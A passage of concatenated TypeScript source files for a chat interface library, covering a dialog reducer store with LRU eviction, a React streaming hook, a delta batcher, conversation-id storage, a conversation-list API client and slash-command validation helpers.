return;\n    reducers.delete(key);\n    reducers.set(key, reducer);\n  }\n\n  /** A key is evictable only when nothing pins it and its turn is finished. */\n  function isEvictable(key: string): boolean {\n    if ((retained.get(key) ?? 0) > 0) return false;\n    const reducer = reducers.get(key);\n    return reducer === undefined || reducer.state.streamingPhase === 'idle';\n  }\n\n  /** Evict least-recently-used EVICTABLE keys down to the cap, through the\n   *  same drop path as `remove()`. Protected keys (retained / mid-stream) are\n   *  skipped, so the map can legitimately sit above `maxReducers` for as long\n   *  as that many live threads exist. Returns true when anything was\n   *  evicted.\n   *\n   *  Keys awaiting their first `retain()` (`pendingRetain`) are protected as a\n   *  GROUP: they are unretained (the hook retains in an effect, i.e. after\n   *  render) and idle, so without that guard a full map of protected older keys\n   *  would walk the loop all the way to the tail and drop a brand-new entry —\n   *  `getReducer` would return a DETACHED reducer whose mutations no snapshot\n   *  can ever see (`getSnapshot` is a pure map read, so that key returns\n   *  `EMPTY_STATE` forever). See `pendingRetain` for why every key still\n   *  awaiting a retain is protected, not just the one being inserted. */\n  function evictExcess(protectKey: string): boolean {\n    let evicted = false;\n    let overBy = reducers.size - maxReducers;\n    if (overBy <= 0) return false;\n    for (const key of [...reducers.keys()]) {\n      if (overBy <= 0) break;\n      if (key === protectKey || pendingRetain.has(key)) continue;\n      if (!isEvictable(key)) continue;\n      // Capture BEFORE the drop — after `delete` the instance is unreachable\n      // and its approval statuses / seq cursor would be lost with it.\n      const dropped = onEvict ? reducers.get(key) : undefined;\n      reducers.delete(key);\n      evicted = true;\n      overBy -= 1;\n      if (onEvict) {\n        const sep = key.indexOf(KEY_SEP);\n        onEvict(key.slice(0, sep), key.slice(sep + 1), {\n          messages: dropped?.state.messages ?? EMPTY_STATE.messages,\n          approvalStatuses: dropped?.state.approvalStatuses ?? EMPTY_STATE.approvalStatuses,\n          lastAppliedSeq: dropped?.getLastAppliedSeq() ?? Number.NEGATIVE_INFINITY,\n          pendingEchoes: dropped?.getPendingEchoes() ?? EMPTY_PENDING_ECHOES,\n        });\n      }\n    }\n    return evicted;\n  }\n\n  /**\n   * @param groupProtect true for PUBLIC (render-phase) calls, whose caller\n   * keeps the returned instance until its `retain()` lands — see\n   * `pendingRetain`. Event-phase callers (`apply` / `mutate`) pass false: they\n   * use the reducer within the call and must not defer eviction of a burst.\n   */\n  function getReducerInternal(\n    dialogId: string,\n    side: ChatDialogSide = DEFAULT_DIALOG_SIDE,\n    createOptions?: CreateReducerOptionsFn,\n    groupProtect = true,\n  ): ChatStreamReducer {\n    const key = keyOf(dialogId, side);\n    let reducer = reducers.get(key);\n    if (!reducer) {\n      // `apply()` / `mutate()` can be the FIRST toucher of a key (an event for\n      // a dialog no component has rendered yet). Without the store-level\n      // default they would create a reducer missing the host's\n      // `ownEchoIncludesAdmin` / `callbacks` / `batchApprovalsEnabled`, and a\n      // later `getReducer(..., options)` would hand back that mis-configured\n      // instance (create-options are consulted at creation only).\n      const base = (createOptions ?? defaultCreateOptions)?.(dialogId, side) ?? {};\n      const userOnChange = base.onChange;\n      reducer = createChatStreamReducer({\n        ...base,\n        onChange: () => {\n          userOnChange?.();\n          notify();\n        },\n      });\n      reducers.set(key, reducer);\n      // An already-retained key needs no stand-in — it is protected by its\n      // retain count, and marking it would burn a slot of the bounded set.\n      if (groupProtect && (retained.get(key) ?? 0) === 0) markPendingRetain(key);\n      if (evictExcess(key)) notifyDeferred();\n    } else {\n      touch(key);\n    }\n    return reducer;\n  }\n\n  const getReducer: ChatDialogStore['getReducer'] = (dialogId, side, createOptions) =>\n    getReducerInternal(dialogId, side, createOptions, true);\n\n  function otherSides(dialogId: string, side: ChatDialogSide): ChatStreamReducer[] {\n    const prefix = `${dialogId}${KEY_SEP}`;\n    const selfKey = keyOf(dialogId, side);\n    const out: ChatStreamReducer[] = [];\n    for (const [key, reducer] of reducers) {\n      if (key !== selfKey && key.startsWith(prefix)) out.push(reducer);\n    }\n    return out;\n  }\n\n  function apply(dialogId: string, side: ChatDialogSide, event: ChatStreamEvent): void {\n    const reducer = getReducerInternal(dialogId, side, undefined, false);\n    reducer.apply(event);\n\n    // Cross-side fan-out — the ONLY two operations that cross sides.\n    if (event.type === 'approval-resolved' && event.requestId) {\n      for (const other of otherSides(dialogId, side)) {\n        other.projectApprovalResolution(event.requestId, event.status, event.resolvedByName);\n      }\n    } else if (event.type === 'tool-execution') {\n      for (const other of otherSides(dialogId, side)) {\n        other.projectToolExecution({ type: 'tool_execution', data: event.data });\n      }\n    }\n  }\n\n  function mutate<T>(dialogId: string, side: ChatDialogSide, fn: (reducer: ChatStreamReducer) => T): T {\n    return fn(getReducerInternal(dialogId, side, undefined, false));\n  }\n\n  function subscribe(listener: () => void): () => void {\n    listeners.add(listener);\n    return () => {\n      listeners.delete(listener);\n    };\n  }\n\n  /** PURE read — deliberately does NOT go through `getReducer`, which would\n   *  insert into the module-lived map on every miss (unbounded growth under\n   *  SSR) and make a React snapshot read mutate the store. Callers that need\n   *  a reducer to exist call `getReducer` explicitly first (the\n   *  `useChatStreamReducer` hook does exactly that, during render). */\n  function getSnapshot(dialogId: string, side: ChatDialogSide = DEFAULT_DIALOG_SIDE): ChatReducerState {\n    return reducers.get(keyOf(dialogId, side))?.state ?? EMPTY_STATE;\n  }\n\n  function getServerSnapshot(): ChatReducerState {\n    return EMPTY_STATE;\n  }\n\n  /** Notifies only when something was ACTUALLY dropped — an unconditional\n   *  notify wakes every subscriber for a no-op removal, and the snapshot each\n   *  would read is byte-identical.\n   *\n   *  Deliberately does NOT touch `retained` / `policyRetains`. A retain is a\n   *  claim on the KEY, not on the instance (`retain()` never implies creation),\n   *  and `remove()` is routinely followed by a re-render that recreates the key\n   *  — a still-mounted consumer must keep protecting it across that round trip.\n   *  Dropping the counter here would also desync the outstanding release\n   *  closures: with two live retainers, the first release would decrement from\n   *  the `?? 1` fallback straight to 0 and unpin a key the second consumer is\n   *  still holding. The entries are bounded by live retainers (never by removed\n   *  dialogs) and are deleted when the last release runs. */\n  function remove(dialogId: string, side?: ChatDialogSide): void {\n    let removed = false;\n    if (side !== undefined) {\n      removed = reducers.delete(keyOf(dialogId, side));\n    } else {\n      const prefix = `${dialogId}${KEY_SEP}`;\n      for (const key of [...reducers.keys()]) {\n        if (key.startsWith(prefix) && reducers.delete(key)) removed = true;\n      }\n    }\n    if (removed) notify();\n  }\n\n  function retainKey(key: string): () => void {\n    // The retain this key was waiting for has landed: the refcount below now\n    // protects it, so the stand-in must go (leaving it would keep an unmounted\n    // key pinned and hold a slot of the bounded `pendingRetain` set).\n    pendingRetain.delete(key);\n    retained.set(key, (retained.get(key) ?? 0) + 1);\n    let released = false;\n    return () => {\n      if (released) return;\n      released = true;\n      const next = (retained.get(key) ?? 1) - 1;\n      if (next <= 0) retained.delete(key);\n      else retained.set(key, next);\n    };\n  }\n\n  function retain(dialogId: string, side: ChatDialogSide = DEFAULT_DIALOG_SIDE): () => void {\n    return retainKey(keyOf(dialogId, side));\n  }\n\n  /** Store-level policy retains, keyed the same way. Held separately from the\n   *  per-consumer `retain()` handles so the two never clobber each other. */\n  const policyRetains = new Map<string, () => void>();\n\n  function setRetained(keys: Array<{ dialogId: string; side?: ChatDialogSide }>): void {\n    const next = new Set(keys.map(k => keyOf(k.dialogId, k.side ?? DEFAULT_DIALOG_SIDE)));\n    // Retain the additions BEFORE releasing the removals: a key in both sets is\n    // simply left alone, and nothing in the new set is ever unpinned in between.\n    for (const key of next) {\n      if (!policyRetains.has(key)) policyRetains.set(key, retainKey(key));\n    }\n    for (const [key, release] of [...policyRetains]) {\n      if (next.has(key)) continue;\n      release();\n      policyRetains.delete(key);\n    }\n  }\n\n  return {\n    getReducer,\n    apply,\n    mutate,\n    subscribe,\n    getSnapshot,\n    getServerSnapshot,\n    remove,\n    retain,\n    setRetained,\n  };\n}\n","'use client';\n\n/**\n * useChatStreamReducer — thin React wrapper over a `ChatDialogStore` side.\n *\n *   - `useSyncExternalStore` over the store (snapshot identity is stable\n *     between mutations, so untouched renders bail out);\n *   - APPEND-ONLY DELTA BATCHING: delegated wholesale to the framework-free\n *     `createDeltaBatcher` (same module) so a non-React host can share the\n *     exact same coalescing/flush policy instead of re-implementing it.\n *   - Any NON-delta event force-flushes the pending batch first, so ordering\n *     is preserved and stream completion (`turn-end`, errors, approval\n *     frames) always lands on fully-applied delta state. Adapters whose\n *     transport has no terminal event (SSE) call `flushDeltas()` explicitly\n *     before their end-of-turn command.\n */\n\nimport { useCallback, useEffect, useMemo, useState, useSyncExternalStore } from 'react';\nimport type { ChatStreamEvent } from '../../../chat-protocol/events';\nimport { DEFAULT_DIALOG_SIDE, type ChatDialogSide, type ChatDialogStore } from './chat-dialog-store';\nimport type { ChatReducerState, ChatStreamReducer, ChatStreamReducerOptions } from './chat-stream-reducer';\nimport { createDeltaBatcher, type DeltaBatcher } from './delta-batcher';\n\ninterface DialogKey {\n  store: ChatDialogStore;\n  dialogId: string;\n  side: ChatDialogSide;\n}\n\nexport interface UseChatStreamReducerOptions {\n  store: ChatDialogStore;\n  dialogId: string;\n  side?: ChatDialogSide;\n  /** Consulted once, when this (dialogId, side) reducer is first created. */\n  createReducerOptions?: () => ChatStreamReducerOptions;\n}\n\nexport interface UseChatStreamReducerReturn {\n  state: ChatReducerState;\n  /** Apply a decoded event (deltas are batched; everything else immediate). */\n  applyEvent: (event: ChatStreamEvent) => void;\n  /** Synchronously apply any pending delta batch. */\n  flushDeltas: () => void;\n  /** Run reducer commands (adapter-driven, non-wire mutations). */\n  mutate: <T>(fn: (reducer: ChatStreamReducer) => T) => T;\n  reducer: ChatStreamReducer;\n}\n\nexport function useChatStreamReducer({\n  store,\n  dialogId,\n  side = DEFAULT_DIALOG_SIDE,\n  createReducerOptions,\n}: UseChatStreamReducerOptions): UseChatStreamReducerReturn {\n  // Ensure the reducer exists before the first snapshot read. `createOptions`\n  // is consulted synchronously inside this call and only when the instance is\n  // first created, so the prop is read directly — a latest-ref would be\n  // indirection with nothing to stabilise.\n  const reducer = store.getReducer(dialogId, side, () => createReducerOptions?.() ?? {});\n\n  const getSnapshot = useCallback(() => store.getSnapshot(dialogId, side), [store, dialogId, side]);\n  // Distinct server getter: `getSnapshot` is a pure read of a CLIENT-lived\n  // map, so reusing it for SSR would render a per-request-meaningless value\n  // (and, before it was made pure, silently accumulate reducers per request).\n  const getServerSnapshot = useCallback(() => store.getServerSnapshot(), [store]);\n  const subscribe = useCallback((listener: () => void) => store.subscribe(listener), [store]);\n  const state = useSyncExternalStore(subscribe, getSnapshot, getServerSnapshot);\n\n  // Pin this key for as long as the hook is mounted, so the store's LRU can\n  // never evict a reducer a live panel is rendering.\n  useEffect(() => store.retain(dialogId, side), [store, dialogId, side]);\n\n  // ── Delta batch ──────────────────────────────────────────────────────────\n  // Identity-stable routing token: the batcher compares keys with `Object.is`\n  // and flushes the pending batch against the PREVIOUS key when it changes, so\n  // this must only get a new identity when the routing VALUES change. The\n  // store travels in the key rather than in a latest-ref because it is part of\n  // that routing decision: queued deltas belong to the store they were queued\n  // for, and a mid-turn store swap must flush them there, not re-target them.\n  const key = useMemo<DialogKey>(() => ({ store, dialogId, side }), [store, dialogId, side]);\n\n  // Created once and owned for the hook's lifetime; `useState`'s lazy\n  // initialiser is the supported way to build that without writing to a ref\n  // during render.\n  const [batcher] = useState<DeltaBatcher<DialogKey>>(() =>\n    createDeltaBatcher<DialogKey>({\n      applyOne: (event, k) => {\n        if (k) k.store.apply(k.dialogId, k.side, event);\n      },\n    }),\n  );\n\n  const flushDeltas = useCallback(() => batcher.flush(), [batcher]);\n\n  const applyEvent = useCallback(\n    (event: ChatStreamEvent) => {\n      // `push` flushes on key change and returns false for non-delta events;\n      // those flush the batch first (ordering) and apply synchronously, so\n      // completion state always lands on fully-applied deltas.\n      if (batcher.push(event, key)) return;\n      batcher.flush();\n      key.store.apply(key.dialogId, key.side, event);\n    },\n    [batcher, key],\n  );\n\n  // Flush on unmount so a torn-down panel doesn't drop its tail deltas.\n  useEffect(() => () => batcher.dispose(), [batcher]);\n\n  const mutate = useCallback(\n    <T>(fn: (reducer: ChatStreamReducer) => T): T => store.mutate(dialogId, side, fn),\n    [store, dialogId, side],\n  );\n\n  return useMemo(\n    () => ({ state, applyEvent, flushDeltas, mutate, reducer }),\n    [state, applyEvent, flushDeltas, mutate, reducer],\n  );\n}\n","/**\n * createDeltaBatcher — framework-free, append-only batching of the\n * `text-delta` / `thinking-delta` events.\n *\n * WHY THIS IS SHARED (and not a hook-private detail): every host that drives a\n * `ChatStreamReducer` from a raw transport needs the SAME batching, and a\n * copy-paste of it drifts. The React wrapper (`useChatStreamReducer`) and any\n * non-React mirror in a product app both consume this one implementation.\n *\n * Behaviour:\n *   - `push(event, key)` queues delta events and returns true; anything else\n *     returns false so the caller can flush + apply it synchronously (ordering:\n *     completion state must always land on fully-applied deltas).\n *   - CONSECUTIVE same-type deltas are COALESCED into one event (the reducer's\n *     append semantics distribute over concatenation), so a 60-delta/sec turn\n *     costs ONE `applyOne` per frame instead of 60. `text-delta` additionally\n *     requires a matching `leading` flag before coalescing.\n *   - A flush is scheduled on `requestAnimationFrame` when available, with a\n *     timer fallback that is ALWAYS armed (rAF pauses in background tabs, and a\n *     hidden chat panel must still keep its thread current).\n *   - `key` is an opaque routing token handed back to `applyOne`. When it\n *     changes, the pending batch is flushed against the PREVIOUS key first, so\n *     deltas never land on the wrong dialog/side.\n */\n\nimport type { ChatStreamEvent, TextDeltaEvent, ThinkingDeltaEvent } from '../../../chat-protocol/events';\n\nexport const DELTA_FLUSH_FALLBACK_MS = 50;\n\nexport type DeltaEvent = TextDeltaEvent | ThinkingDeltaEvent;\n\nexport function isDeltaEvent(event: ChatStreamEvent): event is DeltaEvent {\n  return event.type === 'text-delta' || event.type === 'thinking-delta';\n}\n\nexport interface CreateDeltaBatcherOptions<K> {\n  /** Apply one (possibly coalesced) delta against `key`'s reducer. */\n  applyOne: (event: DeltaEvent, key: K | undefined) => void;\n  /** Called after a flush that applied at least one delta. */\n  onFlushed?: (appliedCount: number) => void;\n  /** Timer fallback in ms (default `DELTA_FLUSH_FALLBACK_MS`). */\n  fallbackMs?: number;\n}\n\nexport interface DeltaBatcher<K = unknown> {\n  /**\n   * Queue `event` when it is a delta (returns true). Non-delta events are NOT\n   * queued and return false — the caller flushes and applies them itself.\n   */\n  push(event: ChatStreamEvent, key?: K): boolean;\n  /** Synchronously apply the pending batch and cancel any scheduled flush. */\n  flush(): void;\n  /** Flush and release timers — call on teardown so tail deltas aren't lost. */\n  dispose(): void;\n  /** Queued (post-coalescing) delta count. Test/diagnostic surface. */\n  readonly pendingCount: number;\n}\n\nexport function createDeltaBatcher<K = unknown>({\n  applyOne,\n  onFlushed,\n  fallbackMs = DELTA_FLUSH_FALLBACK_MS,\n}: CreateDeltaBatcherOptions<K>): DeltaBatcher<K> {\n  let pending: DeltaEvent[] = [];\n  let pendingKey: K | undefined;\n  let hasKey = false;\n  let raf: number | null = null;\n  let timer: ReturnType<typeof setTimeout> | null = null;\n\n  function cancelScheduled(): void {\n    if (raf !== null) {\n      if (typeof cancelAnimationFrame === 'function') cancelAnimationFrame(raf);\n      raf = null;\n    }\n    if (timer !== null) {\n      clearTimeout(timer);\n      timer = null;\n    }\n  }\n\n  function flush(): void {\n    cancelScheduled();\n    if (pending.length === 0) return;\n    const batch = pending;\n    pending = [];\n    const key = pendingKey;\n    for (const delta of batch) applyOne(delta, key);\n    onFlushed?.(batch.length);\n  }\n\n  function schedule(): void {\n    if (raf !== null || timer !== null) return;\n    if (typeof requestAnimationFrame === 'function') {\n      raf = requestAnimationFrame(() => {\n        raf = null;\n        flush();\n      });\n    }\n    // Timer fallback ALWAYS armed: rAF pauses in background tabs.\n    timer = setTimeout(() => {\n      timer = null;\n      flush();\n    }, fallbackMs);\n  }\n\n  return {\n    push(event, key) {\n      // A pending batch belonging to a previous key must land on ITS reducer\n      // before we start queueing for the new one.\n      if (!hasKey || !Object.is(pendingKey, key)) {\n        flush();\n        pendingKey = key;\n        hasKey = true;\n      }\n      if (!isDeltaEvent(event)) return false;\n      const tail = pending[pending.length - 1];\n      // NEVER coalesce a delta whose seq does not ADVANCE past the tail's.\n      // Coalescing stamps the merged entry with the LAST pushed seq, so a\n      // redelivered / out-of-order delta arriving inside one frame would both\n      // concatenate its text (the reducer never sees it as a duplicate) and\n      // REWIND the batch's seq below an already-applied one. Pushing it as its\n      // own entry hands it to the reducer intact, where the `seq <=\n      // lastAppliedSeq` gate drops it — the batcher must not depend on hosts\n      // gating at dispatch.\n      // A seq-LESS tail is not \"always advancing\": merging a seq-BEARING delta\n      // onto it stamps the merged entry with that seq, which the reducer's gate\n      // then treats as the batch's position — a redelivered delta could rewind\n      // it. Coalesce onto a seq-less tail only when the incoming delta is\n      // likewise seq-less (a uniformly seq-less stream, e.g. SSE).\n      const seqAdvances = tail?.seq == null ? event.seq == null : event.seq != null && event.seq > tail.seq;\n      if (\n        tail &&\n        seqAdvances &&\n        tail.type === event.type &&\n        (tail.type !== 'text-delta' || tail.leading === (event as TextDeltaEvent).leading)\n      ) {\n        pending[pending.length - 1] = {\n          ...tail,\n          text: tail.text + event.text,\n          ...(event.seq != null ? { seq: event.seq } : {}),\n        };\n      } else {\n        pending.push({ ...event });\n      }\n      schedule();\n      return true;\n    },\n    flush,\n    dispose() {\n      flush();\n      cancelScheduled();\n    },\n    get pendingCount() {\n      return pending.length;\n    },\n  };\n}\n","/**\n * Chat conversation-id persistence — the SSE/Guide chat's ONLY local state.\n *\n * The stored value is the SERVER-minted conversation id echoed in the chat\n * stream's leading metadata frame; the client never generates ids. Message\n * history itself lives server-side (`chat_conversations` / `chat_messages`)\n * and is rehydrated via the history endpoint — see\n * `use-chat-history-hydration.ts`.\n *\n * Built on the lib-standard `createLocalStorageAdapter` (SSR guard,\n * try/catch, quota-failure logging, dynamic namespacing) instead of raw\n * `window.localStorage`. The namespace resolver runs on EVERY read/write, so\n * a proxy-auth identity switch mid-page automatically re-partitions the key.\n *\n * Key shape: `mingo-chat-<source>[-u-<email>].conversation`\n */\n\nimport { getEmbedProxyAuth } from '../../../utils/embed-proxy-auth-storage';\nimport { createLocalStorageAdapter, type LocalStorageAdapter } from '../../../utils/local-storage-adapter';\n\nexport interface PersistedChatConversation {\n  conversationId: string;\n}\n\nconst STORAGE_KEY = 'conversation';\n\nconst namespaceFor = (source: string): string => {\n  const base = `mingo-chat-${source}`;\n  const auth = getEmbedProxyAuth();\n  return auth?.email ? `${base}-u-${encodeURIComponent(auth.email.toLowerCase())}` : base;\n};\n\n/** One adapter per chat `source` (= platform). Memoize per mount. */\nexport function createChatConversationStorage(source: string): LocalStorageAdapter<PersistedChatConversation> {\n  return createLocalStorageAdapter<PersistedChatConversation>({\n    key: STORAGE_KEY,\n    namespace: () => namespaceFor(source),\n    validate: (parsed): parsed is PersistedChatConversation =>\n      !!parsed &&\n      typeof (parsed as PersistedChatConversation).conversationId === 'string' &&\n      (parsed as PersistedChatConversation).conversationId.length > 0,\n    logTag: '[chat-conversation-storage]',\n  });\n}\n\n/**\n * Sweep THIS source's stale keys: the other-identity variants (base vs\n * impersonation), and retired key shapes from before the server-minted-id\n * design (raw `mingo-chat-<source>` and versioned `-v1`/`-v2` full-history\n * stores). Boundary-aware: a hyphen-extended sibling source (`flamingo` vs\n * `flamingo-teaser`) is NOT this source's namespace and must never be swept.\n *\n * Raw storage enumeration is unavoidable here — the adapter abstraction is\n * per-key and Web Storage only exposes iteration on the raw object.\n */\nexport function pruneStaleChatConversationStorage(source: string): void {\n  if (typeof window === 'undefined') return;\n  try {\n    const base = `mingo-chat-${source}`;\n    const currentKey = `${namespaceFor(source)}.${STORAGE_KEY}`;\n    const ownedKey = (k: string) =>\n      k === base || // retired raw key (pre-adapter shape)\n      k === `${base}.${STORAGE_KEY}` || // current no-identity shape\n      k.startsWith(`${base}-u-`) || // per-identity shapes (current + retired)\n      k.startsWith(`${base}-v`); // retired versioned full-history shapes\n    const toRemove: string[] = [];\n    for (let i = 0; i < window.localStorage.length; i++) {\n      const k = window.localStorage.key(i);\n      if (!k) continue;\n      if (ownedKey(k) && k !== currentKey) toRemove.push(k);\n    }\n    for (const k of toRemove) {\n      window.localStorage.removeItem(k);\n    }\n  } catch {\n    // localStorage access blocked (Safari private mode etc.) — non-fatal.\n  }\n}\n","/**\n * Conversation-list wire client for the SSE/Guide chat — the ONE place the\n * `ChatRuntime.endpoints.chatConversationsUrl` contract is spelled out:\n *\n *   GET   `<base>?status=active|archived&limit=&cursor=&search=`\n *         → route-base envelope `{ data: { dialogs, nextCursor } }`\n *   PATCH `<base>/<id>`  body `{ title }`          (rename)\n *   PATCH `<base>/<id>`  body `{ archived: true }` (archive)\n *   PATCH `<base>/<id>`  body `{ archived: false }` (restore)\n *\n * Goes through `embedAuthedFetch` with its DEFAULT credentials mode — the\n * hub identifies anonymous visitors with an httpOnly cookie, and\n * `same-origin` is exactly what carries it. Never override `credentials`.\n *\n * Wire rows are mapped to `DialogItem`; the ISO `timestamp` becomes a\n * `Date` so the list's Today/Yesterday/Older grouping is deterministic.\n */\n\nimport { readServerErrorMessage } from '../../../chat-protocol/confirm-tool';\nimport { isRecord, unwrapEnvelope } from '../../../chat-protocol/wire-narrow';\nimport { embedAuthedFetch } from '../../../utils/embed-authed-fetch';\nimport type { DialogItem } from '../types/component.types';\nimport type { FetchDialogsParams, FetchDialogsResult } from '../types/unified-chat-state.types';\n\nexport type ChatConversationStatus = 'active' | 'archived';\n\nexport interface ChatConversationsApi {\n  fetchDialogs(params: FetchDialogsParams & { status: ChatConversationStatus }): Promise<FetchDialogsResult>;\n  renameDialog(id: string, title: string): Promise<void>;\n  archiveDialog(id: string): Promise<void>;\n  unarchiveDialog(id: string): Promise<void>;\n}\n\nfunction toDialogItem(row: unknown): DialogItem | null {\n  if (!isRecord(row)) return null;\n  const id = typeof row.id === 'string' ? row.id : '';\n  if (!id) return null;\n  const title = typeof row.title === 'string' && row.title.length > 0 ? row.title : 'Untitled chat';\n  const ts = typeof row.timestamp === 'string' ? new Date(row.timestamp) : undefined;\n  return {\n    id,\n    title,\n    ...(ts && !Number.isNaN(ts.getTime()) ? { timestamp: ts } : {}),\n    ...(typeof row.lastMessage === 'string' ? { lastMessage: row.lastMessage } : {}),\n  };\n}\n\nasync function failWith(response: Response, fallback: string): Promise<never> {\n  const message = await readServerErrorMessage(response);\n  throw new Error(message ?? `${fallback}: ${response.status}`);\n}\n\nexport function createChatConversationsApi(baseUrl: string): ChatConversationsApi {\n  const base = baseUrl.replace(/\\/+$/, '');\n\n  const patch = async (id: string, body: Record<string, unknown>, what: string): Promise<void> => {\n    const response = await embedAuthedFetch(`${base}/${encodeURIComponent(id)}`, {\n      method: 'PATCH',\n      body: JSON.stringify(body),\n    });\n    if (!response.ok) await failWith(response, `${what} failed`);\n  };\n\n  return {\n    async fetchDialogs({ status, cursor, limit, search }) {\n      const qs = new URLSearchParams();\n      qs.set('status', status);\n      if (limit !== undefined) qs.set('limit', String(limit));\n      if (cursor) qs.set('cursor', cursor);\n      if (search) qs.set('search', search);\n      const response = await embedAuthedFetch(`${base}?${qs.toString()}`, { method: 'GET' });\n      if (!response.ok) await failWith(response, 'Conversation list failed');\n      const body = unwrapEnvelope(await response.json());\n      const rawDialogs = isRecord(body) && Array.isArray(body.dialogs) ? body.dialogs : [];\n      const dialogs = rawDialogs.map(toDialogItem).filter((d): d is DialogItem => d !== null);\n      const nextCursor = isRecord(body) && typeof body.nextCursor === 'string' ? body.nextCursor : null;\n      return { dialogs, nextCursor };\n    },\n    renameDialog: (id, title) => patch(id, { title }, 'Rename'),\n    archiveDialog: id => patch(id, { archived: true }, 'Archive'),\n    unarchiveDialog: id => patch(id, { archived: false }, 'Restore'),\n  };\n}\n","/**\n * Lib-side portable subset of the hub's `lib/utils/slash-dispatch-utils.ts`.\n *\n * The full hub file owns the SERVER-SIDE parser/dispatcher (depends on\n * `slash-commands-config`, `slash-commands-static`, `doc-source-config-utils`,\n * `chat-admin-types`, `rag-table-config`) which stays hub-side.\n *\n * What MIGRATES here is the wire contract + the small text helpers consumed\n * by chat surfaces in the lib + the hub UI:\n *   - `WireCommandOverride`        — wire-shape (chat request body)\n *   - `parseWireCommandOverride`   — wire validator\n *   - `CommandOverride`            — server-built dispatch result type\n *     (presentation typed as `string` here; the hub narrows via its own\n *     `SlashCommandPresentation` union)\n *   - `extractEntityIdFilter`      — `CommandOverride` → narrowed filter\n *   - `sanitizeTitleForChat`       — collapse control chars in titles\n *   - `formatSingularLookupInvocation` — `/cmd \"value\"` builder\n *   - `buildDiscussAddendum`       — server-side Discuss addendum prose\n *\n * Validation constants (regex + length caps) are duplicated here verbatim\n * to keep the lib's wire validator self-contained.\n */\n\nconst WIRE_TABLE_ID_REGEX = /^[a-z][a-z0-9-]*$/;\nconst WIRE_ID_REGEX = /^[A-Za-z0-9._:/-]+$/;\nconst WIRE_TABLE_ID_MAX = 60;\nconst WIRE_ID_MAX = 200;\nconst WIRE_QUERY_MAX = 2000;\n\n/** Wire-supplied `CommandOverride` — the subset of fields a client (chat\n *  shell) is allowed to send on the request body. Excludes\n *  `systemPromptAddendum` by construction: addendum injection is a\n *  Rule-5b bypass vector, so we never accept it from the wire. */\nexport interface WireCommandOverride {\n  entityIdFilter?: { tableId: string; id: string };\n  retrievalQueryOverride?: string;\n}\n\n/**\n * Parse + validate a wire-supplied `commandOverride` from the chat\n * request body. Returns the validated subset OR `null` if the input is\n * missing / malformed in every field.\n */\nexport function parseWireCommandOverride(raw: unknown): WireCommandOverride | null {\n  if (!raw || typeof raw !== 'object') return null;\n  const out: WireCommandOverride = {};\n  const r = raw as Record<string, unknown>;\n\n  if (r.entityIdFilter && typeof r.entityIdFilter === 'object') {\n    const f = r.entityIdFilter as Record<string, unknown>;\n    if (\n      typeof f.tableId === 'string' &&\n      f.tableId.length > 0 &&\n      f.tableId.length <= WIRE_TABLE_ID_MAX &&\n      WIRE_TABLE_ID_REGEX.test(f.tableId) &&\n      typeof f.id === 'string' &&\n      f.id.length > 0 &&\n      f.id.length <= WIRE_ID_MAX &&\n      WIRE_ID_REGEX.test(f.id)\n    ) {\n      out.entityIdFilter = { tableId: f.tableId, id: f.id };\n    }\n  }\n  if (\n    typeof r.retrievalQueryOverride === 'string' &&\n    r.retrievalQueryOverride.length > 0 &&\n    r.retrievalQueryOverride.length <= WIRE_QUERY_MAX\n  ) {\n    out.retrievalQueryOverride = r.retrievalQueryOverride;\n  }\n  if (out.entityIdFilter === undefined && out.retrievalQueryOverride === undefined) {\n    return null;\n  }\n  return out;\n}\n\n/**\n * Sanitize a free-text title for use inside a chat-visible string:\n * collapse control chars (\\r \\n \\t) to single spaces and trim. Defends\n * against a row title containing embedded newlines (which would split\n * the rendered prompt across visible lines + survive into ILIKE in a\n * confusing way) and tab/CR artifacts from sloppy imports.\n */\nexport function sanitizeTitleForChat(value: string | null | undefined): string {\n  return (value ?? '').replace(/[\\r\\n\\t]+/g, ' ').trim();\n}\n\n/**\n * Compose a singular-lookup slash invocation as the user-visible chat\n * message: `/<cmd> \"<value>\"` (or `/<cmd>` when value is empty).\n *\n * SINGLE SOURCE OF TRUTH for the quoting convention `parseSlashCommand`\n * consumes: outer `\"`-pair triggers `singularLookup`; unquoted args run\n * FTS; empty args browse. Internal `\"` chars are backslash-escaped so\n * the visible string is paste-able / re-runnable.\n */\nexport function formatSingularLookupInvocation(cmdId: string, value?: string | null): string {\n  // Escape `\\` BEFORE `\"` — otherwise a value ending in `\\` survives the\n  // `\"`-escape pass and, when wrapped in `\"...\"`, the trailing `\\\"`\n  // becomes a literal `\"` to a parser that processes backslash escapes,\n  // breaking the close quote. CodeQL's `js/incomplete-sanitization` fires\n  // on the previous one-pass `\\\"` escape for exactly this reason.\n  const safe = sanitizeTitleForChat(value).replace(/\\\\/g, '\\\\\\\\').replace(/\"/g, '\\\\\"');\n  return safe ? `/${cmdId} \"${safe}\"` : `/${cmdId}`;\n}\n\n/** Command-override structure passed to `buildChatContext.opts.commandOverride`. */\nexport interface CommandOverride {\n  retrievalScope?: string[];\n  systemPromptAddendum?: string;\n  retrievalQueryOverride?: string | null;\n  /** Singular-item lookup. When set, retrieval bypasses FTS and queries the\n   *  named table directly via ILIKE on the matchFields. */\n  entityLookup?: {\n    tableId: string;\n    value: string;\n    matchFields: string[];\n  };\n  /** Singular row by primary key. Used by the inline object-card\n   *  \"Discuss\" action — the client knows the exact row id from a prior\n   *  chip. Higher precedence than `entityLookup` (route enforces) and\n   *  `retrievalQueryOverride`. The retrieval layer still runs the table's\n   *  `searchFilter` so privacy invariants hold. */\n  entityIdFilter?: {\n    tableId: string;\n    id: string;\n  };\n  /** \"Browse\" bypass for bare slash list commands. The search layer\n   *  treats this as \"skip FTS — return rows from these tableIds ordered\n   *  by the configured `primaryDateColumn` DESC\". */\n  browseScope?: string[];\n  /** Presentation hint propagated from the slash command. Hub narrows to\n   *  its `SlashCommandPresentation` union; lib leaves as `string` for\n   *  decoupling. */\n  presentation?: string;\n}\n\n/**\n * Resolve the wire `entityIdFilter` from a `CommandOverride`, optionally\n * narrowed to a specific `tableId`. Returns the validated `{ tableId, id }`\n * pair only when both fields are present, non-empty, and (when an expected\n * tableId is passed) match. Returns `null` otherwise.\n */\nexport function extractEntityIdFilter(\n  override: CommandOverride | null | undefined,\n  expectedTableId?: string,\n): { tableId: string; id: string } | null {\n  const f = override?.entityIdFilter;\n  if (!f) return null;\n  const tableId = typeof f.tableId === 'string' ? f.tableId : '';\n  const id = typeof f.id === 'string' ? f.id : '';\n  if (!tableId || !id) return null;\n  if (expectedTableId && tableId !== expectedTableId) return null;\n  return { 